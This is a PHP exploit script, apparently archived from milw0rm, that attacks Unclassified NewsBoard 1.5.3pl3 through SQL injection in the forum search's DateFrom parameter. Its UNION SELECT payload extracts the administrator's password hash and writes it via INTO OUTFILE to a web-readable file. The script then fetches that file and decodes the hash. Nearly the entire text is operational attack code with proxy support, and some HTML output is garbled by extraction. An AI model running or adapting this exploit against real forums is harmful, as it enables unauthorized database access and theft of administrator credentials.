Unclassified NewsBoard 1.5.3pl3 blind SQL injection

a script by rgod at http://rgod.altervista.org

* hostname (ex: www.sitename.com)

* path ( ex: /unb/ or just / )

* full path to site, need this for "INTO OUTFILE" statement (ex.: C:\\\www\\\site\\\)

specify a table prefix other than the default (unb1_)

specify a port other than 80 ( default value )

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($host<>"") and ($path<>"") and ($fullpath<>"")) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($table_prefix=='') {$table_prefix="unb1_";} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} #STEP 1 -> Dump Admin MD5 password hash... $SQL="9999999999) UNION SELECT ORD(SUBSTRING(Password,1,1)),ORD(SUBSTRING(Password,2,1)),ORD(SUBSTRING(Password,3,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,4,1)),ORD(SUBSTRING(Password,5,1)),ORD(SUBSTRING(Password,6,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,7,1)),ORD(SUBSTRING(Password,8,1)),ORD(SUBSTRING(Password,9,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,10,1)),ORD(SUBSTRING(Password,11,1)),ORD(SUBSTRING(Password,12,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,13,1)),ORD(SUBSTRING(Password,14,1)),ORD(SUBSTRING(Password,15,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,16,1)),ORD(SUBSTRING(Password,17,1)),ORD(SUBSTRING(Password,18,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,19,1)),ORD(SUBSTRING(Password,20,1)),ORD(SUBSTRING(Password,21,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,22,1)),ORD(SUBSTRING(Password,23,1)),ORD(SUBSTRING(Password,24,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,25,1)),ORD(SUBSTRING(Password,26,1)),ORD(SUBSTRING(Password,27,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,28,1)),ORD(SUBSTRING(Password,29,1)),ORD(SUBSTRING(Password,30,1)) FROM ".$table_prefix."users WHERE ID=1 UNION SELECT ORD(SUBSTRING(Password,31,1)),ORD(SUBSTRING(Password,32,1)),NULL INTO OUTFILE '".$fullpath."suntzu' FROM ".$table_prefix."users WHERE ID=1/*"; $SQL=urlencode($SQL); $packet="GET ".$p."forum.php?req=search&Query=suntzu&ResultView=2&Sort=2&DateFrom=".$SQL."&DateUntil=&Forum=0 HTTP/1.1\r\n"; $packet.="Referer: http://".$host.":".$port.$path."forum.php?req=search&unb236sess=\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); #STEP 2 -> Retrieve dump and decode... $packet="GET ".$p."suntzu HTTP/1.1\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("200 OK",$html)) { $temp=explode(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html); $dump=$temp[1]; $temp2=''; $HASH=''; for ($i=0; $i<=strlen($dump)-1; $i++) { if (($dump[$i]==chr(0x09)) or ($dump[$i]==chr(0x0a))) {$HASH.=chr($temp2); $temp2='';} else {$temp2.=$dump[$i]; if ($temp2=="\N") {break;} } } echo "
Exploit succeeded -> ".$HASH; } else {echo "Exploit failed...";} } else {echo "Fill * requested fields, optionally specify a proxy...";} ?> # milw0rm.com [2005-11-14]